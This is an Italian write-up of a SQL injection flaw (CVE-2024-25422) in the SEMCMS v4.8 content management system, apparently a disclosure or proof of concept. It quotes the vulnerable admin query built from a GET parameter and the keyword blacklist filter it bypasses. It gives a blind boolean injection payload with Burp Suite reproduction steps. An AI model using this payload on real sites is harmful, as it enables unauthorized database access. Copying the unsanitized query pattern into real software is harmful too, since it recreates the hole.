
In semcms è presente una vulnerabilità di SQL injection (CVE-2024-25422 )
Introduzione a Semcms
SEMCMS è un sistema di gestione dei contenuti (CMS) per siti web di commercio estero che supporta più lingue.
v4.8 Link di download: http://www.sem-cms.com/TradeCmsdown/php/semcms_php_4.8.zip
Cause delle vulnerabilità:
/xcR45q_Admin/SEMCMS_Menu.php Riga 66
Codice vulnerabile:
<?php
} elseif ($type == "edit") {
$row = mysqli_fetch_array($db_conn->query("SELECT * FROM sc_menu WHERE ID=" . $_GET["ID"]));
?>
Si può vedere che l'ID qui esegue un'istruzione SQL quando i parametri vengono passati tramite GET
Codice di filtro in /Include/contorl. PHP
Riga 151
function test_input($data) {
//$data = str_replace("%", "percent", $data);
$data = trim($data);
$data = stripslashes($data);
$data = htmlspecialchars($data,*ENT_QUOTES*);
return $data;
}
E l'ottava riga
function inject_check_sql($sql_str) {
return preg_match('/select|and|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/i',$sql_str);
}
function verify_str($str) {
if(inject_check_sql($str)) {
exit('Sorry,You do this is wrong! (.-.)');
}
return $str;
}
Filtrando il contenuto sopra, possiamo costruire un payload
-1%20or%20length(database())%20REGEXP%20char(94,53,36)
Ricorrenza delle vulnerabilità
visitare un sito web
http://url/xcR45q_Admin/SEMCMS_Menu.php
Cattura del pacchetto con Burp Suite, poiché la lunghezza del nome del database è 5 quando si crea un nuovo sito, il payload viene costruito come
-1%20or%20length(database())%20REGEXP%20char(94,53,36)
(Determina se la lunghezza del nome del database è 5)
Inserisci il payload per vedere l'eco

Cambia il payload a questo punto
-1%20or%20length(database())%20REGEXP%20char(94,54,36)
(Determina se la lunghezza del nome del database è 6)
Cambia il payload a questo punto

L'iniezione SQL può continuare in base ai cambiamenti nella pagina in futuro